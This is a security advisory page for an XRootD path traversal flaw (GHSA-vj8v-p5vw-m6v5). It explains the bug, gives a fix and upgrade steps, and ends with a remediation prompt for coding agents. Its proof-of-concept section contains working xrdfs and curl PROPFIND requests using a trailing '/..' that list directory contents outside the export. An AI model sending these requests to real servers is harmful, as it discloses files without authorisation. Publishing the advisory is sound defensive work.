# GHSA-vj8v-p5vw-m6v5: xrootd has path traversal in directory listing that allows access to the parent directory via trailing ".." pattern

> Attackers can bypass directory export restrictions to list parent directory contents via path traversal in XRootD.

- **Severity:** Not scored
- **Exploited in the wild:** Not known
- **Login needed:** Not needed
- **Attackable:** Over the internet
- **Victim action needed:** Not needed
- **Fix available:** Yes
- **Published:** 10 Apr 2026

## What is GHSA-vj8v-p5vw-m6v5?

GHSA-vj8v-p5vw-m6v5 is a path traversal vulnerability in xrootd, published on 10 Apr 2026. An attacker can exploit it over the internet without logging in, with no action from the victim.

### Official description

## Summary

A path traversal vulnerability in XRootD allows users to escape the exported directory scope and enumerate the contents of the parent directory by appending `/..` (specifically without trailing slash) to an exported path in `xrdfs ls` or `HTTP PROPFIND` requests.

This bypass ignores the `all.export` restriction.

## Affected component

`src/XrdXrootd/XrdXrootdXeq.cc`, and more precisely the functions `rpCheck()` and `Squash()` used in `do_Dirlist()` ([link](https://github.com/xrootd/xrootd/blob/19aa6dee76906fb4d56ded55e49bbe4171ade915/src/XrdXrootd/XrdXrootdXeq.cc#L696)), as they do not check if the path ends with ".." (without trailing slash).
Then the path is passed directly to the filesystem layer.

## PoC

### Configuration

- **Configuration file:** 
```conf
xrd.port 1094

# Exposing only /alice/
oss.localroot /srv/xrootd/data/
all.export /alice/

# HTTP
xrd.protocol http:1094 libXrdHttp.so

# Logs / monitoring
all.adminpath /var/spool/xrootd
all.pidpath /var/run/xrootd
```

- **Filesystem layout on the server:**
```
/srv/xrootd/data/
├── alice/       ← only exported directory
├── bob/         ← not exported
└── secret.txt   ← not exported
```

- **Starting the server:**  `xrootd -c /etc/xrootd/xrootd.cfg` 

### Steps to reproduce

**Normal behavior (access outside export is denied):**
```bash
$ xrdfs root://<xrootd-server> ls /
[ERROR] Server responded with an error: [3010] Stating path '/' is disallowed.
```

**Bypass via trailing `..`:**
```bash
$ xrdfs root://<xrootd-server>ls /alice/..
/alice/../alice
/alice/../bob
/alice/../secret.txt
```
 
**Also exploitable via HTTP PROPFIND:**

```bash
curl -X PROPFIND 'http://<xrootd-server>:1094/alice/..' \
  --path-as-is \
  -H "Depth: 1"
```
Returns HTTP 200 with full listing of the parent directory, including unexported entries (`bob/`, `secret.txt`).

**However, file download via this path traversal is blocked:**
```bash
$ xrdcp root://<xrootd-server>/alice/../secret.txt .
[0B/0B][100%][==================================================][0B/s]  
Run: [ERROR] Server responded with an error: [3010] Opening relative path 'alice/../secret.txt' is disallowed. (source)
```

## Impact
An attacker can enumerate directories and filenames outside the authorized export scope defined by `all.export`. In the example above, a server exporting only `/alice/` leaks the existence of `/bob/` and `secret.txt` located in the parent directory (`oss.localroot`).

File download is not possible through this vector, as `xrdcp` correctly rejects the path with error 3010. The impact seems therefore limited to **information disclosure** (directory and filename enumeration).

This vulnerability could affect all XRootD deployments regardless of authentication configuration, as it bypasses the export path restriction itself.

## Suggested fix

In `rpCheck()` (`src/XrdXrootd/XrdXrootdXeq.cc`), change:
```cpp
// Before
if (fn[0] == '.' && fn[1] == '.' && fn[2] == '/') return 1;

// After
if (fn[0] == '.' && fn[1] == '.' && (fn[2] == '/' || fn[2] == '\0')) return 1;
```

## Which versions are affected by GHSA-vj8v-p5vw-m6v5?

2 open source packages ship an affected version, including xrootd.


| Package | Ecosystem | Affected | Fixed in |
| --- | --- | --- | --- |
| `xrootd` | PyPI | All versions | 5.9.2 |
| `xrootd` | PyPI | All versions | 5.9.2 |

## How do I fix GHSA-vj8v-p5vw-m6v5?

Upgrade xrootd to 5.9.2 or later.

## Is GHSA-vj8v-p5vw-m6v5 being exploited?

There is no known exploitation of GHSA-vj8v-p5vw-m6v5 in the wild and no public exploit code.

## Fix prompt for AI coding agents

```text
Check this codebase for GHSA-vj8v-p5vw-m6v5 and fix it if it is affected.

What it is: GHSA-vj8v-p5vw-m6v5 is a path traversal vulnerability in xrootd, published on 10 Apr 2026. An attacker can exploit it over the internet without logging in, with no action from the victim.
Exploitation: There is no known exploitation of GHSA-vj8v-p5vw-m6v5 in the wild and no public exploit code.

Affected packages and fixed versions:
- xrootd (PyPI): affected all versions; fixed in 5.9.2
- xrootd (PyPI): affected all versions; fixed in 5.9.2

Task:
1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.
2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.
3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.
4. Run the tests and summarise what changed and why.
5. If nothing in the project is affected, say so and change nothing.

Reference: https://insights.sbomify.com/GHSA-vj8v-p5vw-m6v5/ (Markdown: https://insights.sbomify.com/GHSA-vj8v-p5vw-m6v5/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/GHSA-vj8v-p5vw-m6v5

---
From sbomify Insights: https://insights.sbomify.com/GHSA-vj8v-p5vw-m6v5/
Summaries are generated and may contain mistakes; the official description above is the record.